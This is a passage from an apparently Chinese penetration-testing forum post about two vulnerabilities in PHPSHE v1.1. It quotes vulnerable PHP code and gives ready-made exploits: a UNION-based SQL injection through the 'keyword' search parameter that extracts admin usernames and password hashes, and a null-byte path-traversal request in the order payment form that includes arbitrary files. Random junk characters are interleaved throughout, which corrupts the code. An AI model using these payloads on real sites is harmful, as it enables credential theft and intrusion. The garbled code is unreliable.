" }" ~7 U6 v0 O" L* k' q
) j4 f9 t& d# [/ y; R. Q
0×02 搜索注入
<code id="code2">
//product.php文件: W! W% i& M/ k* `
case 'list':# r1 e% D0 U$ n+ }$ ]
$category_id = intval($id);, k7 p8 ]0 r! D1 G! ~9 a% \
$info = $db->pe_select('category', array('category_id'=>$category_id));& g4 ~' x3 s3 a- V5 H: P1 Y2 e
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');5 o" e0 d; f6 O; S. c
if ($category_id) {8 |# z6 ^2 C3 R' o
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";5 Z. S" J1 f j- _" h$ Z3 A) H
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
}9 z# r; h$ F- T5 x: I% H* b4 L
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));4 [- ^) t x6 n, |. s; I% r
//热卖排行% }, P Y9 F3 {4 [0 A; ?& S+ u
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);. S9 D$ y4 w% g* [; a5 E
$seo = pe_seo($info['category_name']);* U; Y. E- }5 }1 F9 |0 Y- ?
include(pe_tpl('product_list.html'));2 e' E2 u) e8 W9 P$ f- O
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句5 v$ S1 i0 V5 C% U& o
$sqlwhere = $this->_dowhere($where);# ^' H% w2 T k/ M8 c( I/ r
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}* W" x: Y W0 g$ T
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1: A$ v' g, ^9 \, V
</code>
0×03 包含漏洞2
; ^' x, I1 u3 ~1 `, n# j7 e% r
<code id="code3">
//order.php
case 'pay':
( y1 ~# s9 ~6 a# }; i/ D
$order_id = pe_dbhold($_g_id);
+ g5 I. q& C+ |7 D
$cache_payway = cache::get('payway');
; i s: D$ j0 _8 t/ X1 M8 r" b, X
foreach($cache_payway as $k => $v) {
6 \" v6 ^( F" _( P3 v
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);
. ], J, J% l3 T U6 n* ?
if ($k == 'bank') {
& \3 a0 j) T# X7 s: m
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);
}
x5 i3 `6 u: T# u& o" e! _
}
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));
!$order['order_id'] && pe_error('订单号错误...');
if (isset($_p_pesubmit)) {
. @6 ^6 y- q7 Q: I* P4 \; N. M
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {
$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));
foreach ($info_list as $v) {
$order['order_name'] .= "{$v['product_name']};";
}
+ {& M- c% k$ {- ~
echo '正在为您连接支付网站,请稍后...';
2 U0 K* A2 f( @& s( I) p
include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");
8 g$ p4 e7 Y* `, d5 v+ I* g4 X
}//当一切准备好的时候就可以进行"鸡肋包含了"
+ c0 ~( @3 ^- c
else {
. r: K8 N/ C* Z `
pe_error('支付错误...');
O$ w! m. u* Y9 f" }( K+ A& V
}
}
$seo = pe_seo('选择支付方式');
6 K" G2 h' N% s9 q& x: p: q' e) `
include(pe_tpl('order_pay.html'));
4 Z' ^/ f/ ?8 ~8 m! Q
break;
}
//exp:
//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001
//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
| 欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |